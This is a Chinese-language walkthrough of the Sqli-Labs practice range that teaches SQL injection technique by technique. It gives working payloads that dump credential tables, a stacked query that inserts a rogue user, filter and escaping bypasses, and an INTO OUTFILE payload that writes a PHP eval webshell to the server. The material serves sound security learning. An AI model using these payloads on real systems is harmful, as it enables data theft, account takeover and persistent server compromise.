Sqli Lab题解&总结
字数 6095 2025-11-08 17:49:25

Sqli-Labs 靶场通关全面教学与SQL注入技术详解

文档说明

本文档旨在系统性地总结Sqli-Labs靶场的解题思路,并深入讲解其中涉及的SQL注入技术。内容涵盖从基础的联合查询注入到高级的报错、布尔盲注、时间盲注、堆叠注入、二次注入及各种绕过技巧,是学习SQL注入的综合性教材。

第一章:SQL注入基础与闭合判断

在进行任何注入之前,第一步也是最重要的一步是判断注入点的类型和闭合方式。错误的闭合方式会导致注入语句无法正确执行。

1.1 闭合方式判断流程

这是一个标准化的判断流程,适用于绝大多数场景:

  1. 初步探测

    • 输入 ?id=1'
    • 输入 ?id=1"
    • 观察页面返回是否出现数据库错误信息。
  2. 情况分析与验证

    • 情况一:单引号和双引号都报错

      • 推测为整数型注入。验证:?id=1--+(注释掉后续内容),页面正常显示则确认。
      • 如果报错,尝试整数型加括号:?id=1)--+
    • 情况二:仅单引号报错

      • 推测为单引号字符型注入。验证:?id=1'--+,页面正常则确认。
      • 如果报错,尝试单引号加括号:?id=1')--+
    • 情况三:仅双引号报错

      • 推测为双引号字符型注入。验证:?id=1"--+,页面正常则确认。
      • 如果报错,尝试双引号加括号:?id=1")--+

    注释--+# 用于注释掉原始SQL语句中注入点后的部分,+ 在URL中通常代表空格。

第二章:联合查询注入 (Union Select)

适用场景:页面有显位,即能够将数据库查询结果回显到页面上。
核心步骤判断字段数 -> 寻找显位 -> 获取数据

2.1 基本步骤 (以Less-1为例)

  1. 判断闭合方式?id=1' 报错,?id=1'--+ 正常,确定为单引号字符型注入。
  2. 判断字段数:使用 ORDER BY 子句。
    • ?id=1' ORDER BY 1--+ (正常)
    • ?id=1' ORDER BY 2--+ (正常)
    • ?id=1' ORDER BY 3--+ (正常)
    • ?id=1' ORDER BY 4--+ (报错) => 字段数为 3
  3. 寻找显位:使用 UNION SELECT 联合查询,并使原始查询不返回结果(如 id=-1)。
    • ?id=-1' UNION SELECT 1,2,3--+
    • 页面显示 23,说明第2和第3个字段是显位
  4. 获取信息:利用显位替换为想要查询的函数或语句。
    • 数据库版本和库名?id=-1' UNION SELECT 1, database(), version()--+
    • 获取所有表名?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'--+
      • information_schema 是信息数据库,存有元数据。
      • group_concat() 将多行结果合并成一个字符串。
    • 获取表的列名(以 users 表为例):?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--+
    • 提取数据(获取 usernamepassword):?id=-1' UNION SELECT 1,2,group_concat(username, ':', password) FROM users--+

2.2 其他闭合方式的例子

  • Less-2 (整数型)?id=-1 UNION SELECT 1,2,3--+
  • Less-3 (单引号+括号)?id=-1') UNION SELECT 1,2,3--+
  • Less-4 (双引号+括号)?id=-1") UNION SELECT 1,2,3--+

第三章:报错注入 (Error-Based)

适用场景:页面没有显位,但会输出数据库的错误信息。
核心原理:故意构造错误的SQL语句,让数据库将查询结果包含在错误信息中输出。

3.1 常用函数:updatexml()

  • 函数原型updatexml(XML_document, XPath_string, new_value)
  • 利用原理:如果 XPath_string 不符合XPath格式,数据库会报错,并将 XPath_string 的内容显示在错误信息中。我们利用此特性来执行查询。
  • 语法构造and updatexml(1, concat(0x7e, (YOUR_SQL_QUERY), 0x7e), 1)
    • 0x7e 是波浪号 ~ 的十六进制,用于凸显查询结果。
    • concat() 用于连接字符串。

3.2 实战步骤 (以Less-5为例)

  1. 判断闭合:为单引号字符型。
  2. 获取数据库名
    ?id=1' and updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1) --+
  3. 获取表名
    ?id=1' and updatexml(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'), 0x7e), 1) --+
  4. 获取列名
    ?id=1' and updatexml(1, concat(0x7e, (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' and table_name='users'), 0x7e), 1) --+
  5. 提取数据
    ?id=1' and updatexml(1, concat(0x7e, (SELECT group_concat(username, ':', password) FROM users), 0x7e), 1) --+

注意updatexml() 最多显示32位数据。如果结果很长,需要使用 substr()limit 分次提取。例如:substr((SELECT query), 1, 30)

第四章:布尔盲注 (Boolean-Based Blind)

适用场景:页面无显位,无详细错误信息,但会根据SQL查询结果真假返回不同的页面(如存在/不存在)。
核心原理:通过构造SQL语句,根据页面返回结果的差异(True or False),一位一位地猜解数据。

4.1 常用函数与技术

  • length():判断长度。
    • ?id=1' and length((select database()))=8 --+ (猜解数据库名长度)
  • substr() / mid():截取字符。
  • ascii():将字符转为ASCII码,便于比较。
    • ?id=1' and ascii(substr((select database()),1,1))=115 --+ (115是 's' 的ASCII码,猜解数据库名第一个字符)

4.2 实战步骤 (以Less-8为例)

  1. 判断数据库长度
    ?id=1' and length((select database()))>=8 --+ 通过返回状态判断真假。
  2. 逐位猜解数据库名
    ?id=1' and ascii(substr((select database()),1,1))=115 --+ (判断第一个字符是否为 's')
    ?id=1' and ascii(substr((select database()),2,1))=101 --+ (判断第二个字符是否为 'e'),以此类推。
  3. 猜解表名、列名、数据:逻辑相同,只需替换SQL查询语句。
    • 猜表名ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100 --+
    • 猜数据ascii(substr((select group_concat(username,password) from users),1,1))=68 --+

这个过程通常需要配合脚本(如Python)自动化完成。

第五章:时间盲注 (Time-Based Blind)

适用场景:页面无任何回显差异,无论真假都返回相同页面。
核心原理:通过SQL语句的延时效应来判断查询的真假。如果条件为真,则执行延时函数,使页面响应变慢。

5.1 常用函数:sleep()if()

  • if(condition, true_result, false_result):条件判断。
  • sleep(seconds):延时指定秒数。

5.2 实战步骤 (以Less-9为例)

  1. 判断是否存在时间注入
    ?id=1' and if(1=1, sleep(5), 1)--+ (如果页面响应延迟约5秒,说明注入成功)
  2. 结合布尔盲注逻辑进行猜解
    • 判断数据库名长度
      ?id=1' and if(length((select database()))>9, sleep(5), 1)--+
    • 逐位猜解数据库名
      ?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(5), 1)--+

第六章:POST型注入

适用场景:注入点出现在POST请求的表单中(如登录框)。
方法:与GET型注入原理完全相同,只是提交数据的方式不同。可以使用浏览器插件(如HackBar)或抓包工具(如Burp Suite)直接修改POST数据。

  • Less-11:闭合方式为 username=1'&password=...
    • Payload: username=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'#

第七章:高级技巧与绕过

7.1 宽字节注入 (Less-32, 34)

场景:网站使用 addslashes()mysql_real_escape_string() 等函数对单引号等特殊字符进行转义(如 ' 变成 \')。
原理:利用GBK、BIG5等宽字符集的特性,使转义符号 \%5c)与前面的字符(如 %df)组合成一个汉字,从而“吃掉”转义符,让单引号逃逸。
Payload?id=%df' UNION SELECT 1,2,3--+

  • %df%5c 在GBK编码中构成一个汉字“運”,从而使后面的 ' 生效。

7.2 堆叠注入 (Stacked Queries) (Less-38)

场景:数据库支持多语句查询(如PHP中的 mysqli_multi_query())。
原理:用分号 ; 分隔,执行多条SQL语句。威力巨大,可以增删改查。
Payload?id=1'; INSERT INTO users(id, username, password) VALUES (666, 'hacker', 'password')--+

7.3 二次注入 (Less-24)

场景:数据在存入数据库时被转义,但从数据库取出后被直接使用。
原理

  1. 注册一个特殊用户,用户名为 admin'--
  2. 在存入数据库时,转义函数可能将其存为 admin\'-- ,但数据库实际存储时可能还是 admin'-- (取决于配置)。
  3. 后续功能(如修改密码)从数据库取出用户名 admin'-- 并拼接到SQL语句中:UPDATE users SET password='new_pass' WHERE username='admin'-- ' AND ...
  4. 此时 -- 注释掉了后面的条件,导致直接修改了admin用户的密码。

7.4 绕过过滤

  • 双写绕过 (Less-25):当关键字被过滤时,用双写绕过。例如 UNION 被过滤,尝试 UUNIONNION,过滤后变成 UNION
  • 注释符绕过 (Less-26):过滤了空格和注释符,可以使用括号、反引号、换行符(%a0)等代替空格。?id=1'%a0union%a0select%a01,2,3%a0||%a0'1

第八章:其他特殊注入点

8.1 Cookie注入 (Less-20)

注入点存在于Cookie中,使用工具修改Cookie值进行注入,方法与GET/POST注入类似。

8.2 User-Agent / Referer 注入 (Less-18, 19)

注入点存在于HTTP头部的 User-AgentReferer 字段中,需要通过抓包修改这些字段进行注入。

8.3 文件写入 (Less-7)

利用 SELECT ... INTO OUTFILE 将查询结果或Webshell写入服务器。
前提:需要知道绝对路径,且数据库用户有FILE权限。
Payload?id=1')) UNION SELECT 1, "<?php @eval($_POST['cmd']);?>", 3 INTO OUTFILE "/var/www/html/shell.php"--+

总结

SQL注入是一门层次分明的技术,学习路径建议如下:

  1. 基础:掌握联合查询注入,理解信息schema数据库。
  2. 进阶:掌握报错、布尔、时间盲注,理解各种函数的用法。
  3. 高级:理解各种过滤和绕过技巧,如宽字节、堆叠、二次注入等。
  4. 拓展:认识注入点不只在ID参数,还可能在Cookie、HTTP头等任何与数据库交互的地方。

最重要的原则先判断闭合,再选择注入方法。本教学文档覆盖了Sqli-Labs靶场的核心知识点,熟练掌握后将对SQL注入有全面而深刻的理解。


免责声明:本文所有技术内容仅用于教育学习和合法安全测试,严禁用于任何非法攻击行为。使用者需遵守《中华人民共和国网络安全法》,对自身行为承担全部法律责任。

Sqli-Labs 靶场通关全面教学与SQL注入技术详解 文档说明 本文档旨在系统性地总结Sqli-Labs靶场的解题思路,并深入讲解其中涉及的SQL注入技术。内容涵盖从基础的联合查询注入到高级的报错、布尔盲注、时间盲注、堆叠注入、二次注入及各种绕过技巧,是学习SQL注入的综合性教材。 第一章:SQL注入基础与闭合判断 在进行任何注入之前,第一步也是最重要的一步是 判断注入点的类型和闭合方式 。错误的闭合方式会导致注入语句无法正确执行。 1.1 闭合方式判断流程 这是一个标准化的判断流程,适用于绝大多数场景: 初步探测 : 输入 ?id=1' 输入 ?id=1" 观察页面返回是否出现数据库错误信息。 情况分析与验证 : 情况一:单引号和双引号都报错 推测为 整数型 注入。验证: ?id=1--+ (注释掉后续内容),页面正常显示则确认。 如果报错,尝试整数型加括号: ?id=1)--+ 。 情况二:仅单引号报错 推测为 单引号字符型 注入。验证: ?id=1'--+ ,页面正常则确认。 如果报错,尝试单引号加括号: ?id=1')--+ 。 情况三:仅双引号报错 推测为 双引号字符型 注入。验证: ?id=1"--+ ,页面正常则确认。 如果报错,尝试双引号加括号: ?id=1")--+ 。 注释 : --+ 或 # 用于注释掉原始SQL语句中注入点后的部分, + 在URL中通常代表空格。 第二章:联合查询注入 (Union Select) 适用场景 :页面有显位,即能够将数据库查询结果回显到页面上。 核心步骤 : 判断字段数 -> 寻找显位 -> 获取数据 2.1 基本步骤 (以Less-1为例) 判断闭合方式 : ?id=1' 报错, ?id=1'--+ 正常,确定为 单引号字符型 注入。 判断字段数 :使用 ORDER BY 子句。 ?id=1' ORDER BY 1--+ (正常) ?id=1' ORDER BY 2--+ (正常) ?id=1' ORDER BY 3--+ (正常) ?id=1' ORDER BY 4--+ (报错) => 字段数为 3 。 寻找显位 :使用 UNION SELECT 联合查询,并使原始查询不返回结果(如 id=-1 )。 ?id=-1' UNION SELECT 1,2,3--+ 页面显示 2 和 3 ,说明第2和第3个字段是 显位 。 获取信息 :利用显位替换为想要查询的函数或语句。 数据库版本和库名 : ?id=-1' UNION SELECT 1, database(), version()--+ 获取所有表名 : ?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'--+ information_schema 是信息数据库,存有元数据。 group_concat() 将多行结果合并成一个字符串。 获取表的列名 (以 users 表为例): ?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--+ 提取数据 (获取 username 和 password ): ?id=-1' UNION SELECT 1,2,group_concat(username, ':', password) FROM users--+ 2.2 其他闭合方式的例子 Less-2 (整数型) : ?id=-1 UNION SELECT 1,2,3--+ Less-3 (单引号+括号) : ?id=-1') UNION SELECT 1,2,3--+ Less-4 (双引号+括号) : ?id=-1") UNION SELECT 1,2,3--+ 第三章:报错注入 (Error-Based) 适用场景 :页面没有显位,但会输出数据库的错误信息。 核心原理 :故意构造错误的SQL语句,让数据库将查询结果包含在错误信息中输出。 3.1 常用函数: updatexml() 函数原型 : updatexml(XML_document, XPath_string, new_value) 利用原理 :如果 XPath_string 不符合XPath格式,数据库会报错,并将 XPath_string 的内容显示在错误信息中。我们利用此特性来执行查询。 语法构造 : and updatexml(1, concat(0x7e, (YOUR_SQL_QUERY), 0x7e), 1) 0x7e 是波浪号 ~ 的十六进制,用于凸显查询结果。 concat() 用于连接字符串。 3.2 实战步骤 (以Less-5为例) 判断闭合 :为单引号字符型。 获取数据库名 : ?id=1' and updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1) --+ 获取表名 : ?id=1' and updatexml(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'), 0x7e), 1) --+ 获取列名 : ?id=1' and updatexml(1, concat(0x7e, (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' and table_name='users'), 0x7e), 1) --+ 提取数据 : ?id=1' and updatexml(1, concat(0x7e, (SELECT group_concat(username, ':', password) FROM users), 0x7e), 1) --+ 注意 : updatexml() 最多显示32位数据。如果结果很长,需要使用 substr() 或 limit 分次提取。例如: substr((SELECT query), 1, 30) 。 第四章:布尔盲注 (Boolean-Based Blind) 适用场景 :页面无显位,无详细错误信息,但会根据SQL查询结果真假返回不同的页面(如存在/不存在)。 核心原理 :通过构造SQL语句,根据页面返回结果的差异(True or False),一位一位地猜解数据。 4.1 常用函数与技术 length() :判断长度。 ?id=1' and length((select database()))=8 --+ (猜解数据库名长度) substr() / mid() :截取字符。 ascii() :将字符转为ASCII码,便于比较。 ?id=1' and ascii(substr((select database()),1,1))=115 --+ (115是 's' 的ASCII码,猜解数据库名第一个字符) 4.2 实战步骤 (以Less-8为例) 判断数据库长度 : ?id=1' and length((select database()))>=8 --+ 通过返回状态判断真假。 逐位猜解数据库名 : ?id=1' and ascii(substr((select database()),1,1))=115 --+ (判断第一个字符是否为 's') ?id=1' and ascii(substr((select database()),2,1))=101 --+ (判断第二个字符是否为 'e'),以此类推。 猜解表名、列名、数据 :逻辑相同,只需替换SQL查询语句。 猜表名 : ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100 --+ 猜数据 : ascii(substr((select group_concat(username,password) from users),1,1))=68 --+ 这个过程通常需要配合脚本(如Python)自动化完成。 第五章:时间盲注 (Time-Based Blind) 适用场景 :页面无任何回显差异,无论真假都返回相同页面。 核心原理 :通过SQL语句的延时效应来判断查询的真假。如果条件为真,则执行延时函数,使页面响应变慢。 5.1 常用函数: sleep() 和 if() if(condition, true_result, false_result) :条件判断。 sleep(seconds) :延时指定秒数。 5.2 实战步骤 (以Less-9为例) 判断是否存在时间注入 : ?id=1' and if(1=1, sleep(5), 1)--+ (如果页面响应延迟约5秒,说明注入成功) 结合布尔盲注逻辑进行猜解 : 判断数据库名长度 : ?id=1' and if(length((select database()))>9, sleep(5), 1)--+ 逐位猜解数据库名 : ?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(5), 1)--+ 第六章:POST型注入 适用场景 :注入点出现在POST请求的表单中(如登录框)。 方法 :与GET型注入原理完全相同,只是提交数据的方式不同。可以使用浏览器插件(如HackBar)或抓包工具(如Burp Suite)直接修改POST数据。 Less-11 :闭合方式为 username=1'&password=... Payload: username=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'# 第七章:高级技巧与绕过 7.1 宽字节注入 (Less-32, 34) 场景 :网站使用 addslashes() 或 mysql_real_escape_string() 等函数对单引号等特殊字符进行转义(如 ' 变成 \' )。 原理 :利用GBK、BIG5等宽字符集的特性,使转义符号 \ ( %5c )与前面的字符(如 %df )组合成一个汉字,从而“吃掉”转义符,让单引号逃逸。 Payload : ?id=%df' UNION SELECT 1,2,3--+ %df%5c 在GBK编码中构成一个汉字“運”,从而使后面的 ' 生效。 7.2 堆叠注入 (Stacked Queries) (Less-38) 场景 :数据库支持多语句查询(如PHP中的 mysqli_multi_query() )。 原理 :用分号 ; 分隔,执行多条SQL语句。威力巨大,可以增删改查。 Payload : ?id=1'; INSERT INTO users(id, username, password) VALUES (666, 'hacker', 'password')--+ 7.3 二次注入 (Less-24) 场景 :数据在存入数据库时被转义,但从数据库取出后被直接使用。 原理 : 注册一个特殊用户,用户名为 admin'-- 。 在存入数据库时,转义函数可能将其存为 admin\'-- ,但数据库实际存储时可能还是 admin'-- (取决于配置)。 后续功能(如修改密码)从数据库取出用户名 admin'-- 并拼接到SQL语句中: UPDATE users SET password='new_pass' WHERE username='admin'-- ' AND ... 。 此时 -- 注释掉了后面的条件,导致直接修改了admin用户的密码。 7.4 绕过过滤 双写绕过 (Less-25) :当关键字被过滤时,用双写绕过。例如 UNION 被过滤,尝试 UUNIONNION ,过滤后变成 UNION 。 注释符绕过 (Less-26) :过滤了空格和注释符,可以使用括号、反引号、换行符( %a0 )等代替空格。 ?id=1'%a0union%a0select%a01,2,3%a0||%a0'1 第八章:其他特殊注入点 8.1 Cookie注入 (Less-20) 注入点存在于Cookie中,使用工具修改Cookie值进行注入,方法与GET/POST注入类似。 8.2 User-Agent / Referer 注入 (Less-18, 19) 注入点存在于HTTP头部的 User-Agent 或 Referer 字段中,需要通过抓包修改这些字段进行注入。 8.3 文件写入 (Less-7) 利用 SELECT ... INTO OUTFILE 将查询结果或Webshell写入服务器。 前提 :需要知道绝对路径,且数据库用户有FILE权限。 Payload : ?id=1')) UNION SELECT 1, "<?php @eval($_POST['cmd']);?>", 3 INTO OUTFILE "/var/www/html/shell.php"--+ 总结 SQL注入是一门层次分明的技术,学习路径建议如下: 基础 :掌握联合查询注入,理解信息schema数据库。 进阶 :掌握报错、布尔、时间盲注,理解各种函数的用法。 高级 :理解各种过滤和绕过技巧,如宽字节、堆叠、二次注入等。 拓展 :认识注入点不只在ID参数,还可能在Cookie、HTTP头等任何与数据库交互的地方。 最重要的原则 : 先判断闭合,再选择注入方法 。本教学文档覆盖了Sqli-Labs靶场的核心知识点,熟练掌握后将对SQL注入有全面而深刻的理解。 免责声明 :本文所有技术内容仅用于教育学习和合法安全测试,严禁用于任何非法攻击行为。使用者需遵守《中华人民共和国网络安全法》,对自身行为承担全部法律责任。